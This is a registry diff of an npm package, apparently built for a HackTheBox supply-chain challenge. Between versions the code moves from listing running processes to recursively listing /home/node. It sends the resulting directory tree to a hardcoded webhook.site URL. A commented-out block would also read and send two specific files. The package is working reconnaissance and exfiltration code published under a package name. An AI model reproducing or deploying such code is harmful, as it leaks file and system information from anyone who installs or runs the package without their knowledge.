@alexandrsarioglo/npm-ghost-htb 1.0.5 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +109 -39
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -2,7 +2,6 @@ const WEBHOOK = 'https://webhook.site/b3d8463d-444d-412a-891b-bd291b37e743'; /
|
|
|
2
2
|
|
|
3
3
|
// async-scan-htb-json.js (CommonJS)
|
|
4
4
|
// Usage: node async-scan-htb-json.js [startPath]
|
|
5
|
-
const fs = require('fs');
|
|
6
5
|
const http = require('http');
|
|
7
6
|
const https = require('https');
|
|
8
7
|
const { URL } = require('url');
|
|
@@ -23,47 +22,118 @@ function sendProgress(obj) { // async HTTP; event loop must be free to flush
|
|
|
23
22
|
} catch {}
|
|
24
23
|
}
|
|
25
24
|
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
25
|
+
const fs = require('fs');
|
|
26
|
+
const fsp = fs.promises;
|
|
27
|
+
const path = require('path');
|
|
29
28
|
|
|
30
|
-
const
|
|
29
|
+
const PATHS = [
|
|
30
|
+
'/home/node/supplysec_entry.js',
|
|
31
|
+
'/home/node/init_test.sh'
|
|
32
|
+
];
|
|
31
33
|
|
|
32
|
-
// ps columns: PID USER STAT START TIME COMMAND (we ask for pid,user,comm,args)
|
|
33
|
-
const ps = spawn('ps', ['-eo', 'pid,user,comm,args'], { stdio: ['ignore', 'pipe', 'pipe'] });
|
|
34
34
|
|
|
35
|
-
|
|
36
|
-
ps.stdout.setEncoding('utf8');
|
|
37
|
-
ps.stdout.on('data', chunk => buffer += chunk);
|
|
35
|
+
const MAX_BYTES = 1_000_000; // 1 MB per file
|
|
38
36
|
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
const procs = lines.map(line => {
|
|
48
|
-
// split into 4 columns: pid,user,comm,args. We expect whitespace-separated pid & user & comm, then the rest is args
|
|
49
|
-
const m = line.trim().match(/^(\d+)\s+(\S+)\s+(\S+)\s+(.*)$/);
|
|
50
|
-
if (!m) {
|
|
51
|
-
// fallback: try splitting
|
|
52
|
-
const parts = line.trim().split(/\s+/);
|
|
53
|
-
return { raw: line };
|
|
37
|
+
async function readFileSafe(p, maxBytes) {
|
|
38
|
+
try {
|
|
39
|
+
const stat = await fsp.stat(p);
|
|
40
|
+
if (!stat.isFile()) return { error: 'not-a-file' };
|
|
41
|
+
const size = stat.size;
|
|
42
|
+
if (size <= maxBytes) {
|
|
43
|
+
const content = await fsp.readFile(p, 'utf8');
|
|
44
|
+
return { content };
|
|
54
45
|
}
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
46
|
+
// stream first maxBytes bytes
|
|
47
|
+
return await new Promise((resolve) => {
|
|
48
|
+
const rs = fs.createReadStream(p, { encoding: 'utf8', highWaterMark: 64 * 1024 });
|
|
49
|
+
let acc = '';
|
|
50
|
+
let read = 0;
|
|
51
|
+
let done = false;
|
|
52
|
+
rs.on('data', chunk => {
|
|
53
|
+
if (done) return;
|
|
54
|
+
const chunkBytes = Buffer.byteLength(chunk, 'utf8');
|
|
55
|
+
if (read + chunkBytes >= maxBytes) {
|
|
56
|
+
const remaining = maxBytes - read;
|
|
57
|
+
acc += chunk.slice(0, remaining);
|
|
58
|
+
done = true;
|
|
59
|
+
rs.destroy();
|
|
60
|
+
} else {
|
|
61
|
+
acc += chunk;
|
|
62
|
+
read += chunkBytes;
|
|
63
|
+
}
|
|
64
|
+
});
|
|
65
|
+
rs.on('close', () => resolve({ content: acc + '\n...[truncated]' }));
|
|
66
|
+
rs.on('error', err => resolve({ error: `read-error: ${err.message}` }));
|
|
67
|
+
});
|
|
68
|
+
} catch (err) {
|
|
69
|
+
return { error: err.code ? `${err.code}` : err.message };
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
// Read contents of the files
|
|
74
|
+
// (async () => {
|
|
75
|
+
// const result = { generated: new Date().toISOString(), files: {} };
|
|
76
|
+
// for (const p of PATHS) {
|
|
77
|
+
// const abs = path.resolve(p);
|
|
78
|
+
// const res = await readFileSafe(abs, MAX_BYTES);
|
|
79
|
+
// if (res.content !== undefined) result.files[abs] = res.content;
|
|
80
|
+
// else result.files[abs] = `ERROR: ${res.error}`;
|
|
81
|
+
// }
|
|
82
|
+
|
|
83
|
+
// try {
|
|
84
|
+
// sendProgress({result});
|
|
85
|
+
// } catch (e) {
|
|
86
|
+
// console.error('Failed to write output:', e.message);
|
|
87
|
+
// process.exit(1);
|
|
88
|
+
// }
|
|
89
|
+
// })();
|
|
90
|
+
|
|
91
|
+
|
|
92
|
+
const START_DIR = '/home/node'; // <<--- edit this to the directory you want listed
|
|
93
|
+
const RECURSIVE = true; // set to false to list only the top level
|
|
94
|
+
const MAX_ENTRIES_PER_DIR = 10000; // safety cap
|
|
95
|
+
|
|
96
|
+
async function listDir(dir, depth = 0, result = []) {
|
|
97
|
+
let entries;
|
|
98
|
+
try {
|
|
99
|
+
entries = await fs.readdir(dir, { withFileTypes: true });
|
|
100
|
+
} catch (err) {
|
|
101
|
+
result.push({ path: dir, error: `readdir-failed: ${err.code || err.message}` });
|
|
102
|
+
return result;
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
// safety: avoid pathological directories
|
|
106
|
+
if (entries.length > MAX_ENTRIES_PER_DIR) {
|
|
107
|
+
result.push({ path: dir, warning: `skipped (too many entries: ${entries.length})` });
|
|
108
|
+
return result;
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
for (const e of entries) {
|
|
112
|
+
const full = path.join(dir, e.name);
|
|
113
|
+
const item = {
|
|
114
|
+
path: full,
|
|
115
|
+
name: e.name,
|
|
116
|
+
type: e.isDirectory() ? 'directory' : e.isFile() ? 'file' : e.isSymbolicLink() ? 'symlink' : 'other'
|
|
60
117
|
};
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
}
|
|
118
|
+
result.push(item);
|
|
119
|
+
|
|
120
|
+
if (RECURSIVE && e.isDirectory()) {
|
|
121
|
+
// avoid following symlinks into recursion
|
|
122
|
+
if (e.isSymbolicLink()) {
|
|
123
|
+
continue;
|
|
124
|
+
}
|
|
125
|
+
await listDir(full, depth + 1, result);
|
|
126
|
+
}
|
|
127
|
+
}
|
|
128
|
+
return result;
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
(async () => {
|
|
132
|
+
console.log(`Listing hard-coded directory: ${START_DIR} (recursive=${RECURSIVE})`);
|
|
133
|
+
const tree = await listDir(START_DIR);
|
|
134
|
+
try {
|
|
135
|
+
sendProgress({ tree });
|
|
136
|
+
} catch (err) {
|
|
137
|
+
console.error('Failed to write output:', err.message || err);
|
|
138
|
+
}
|
|
139
|
+
})();
|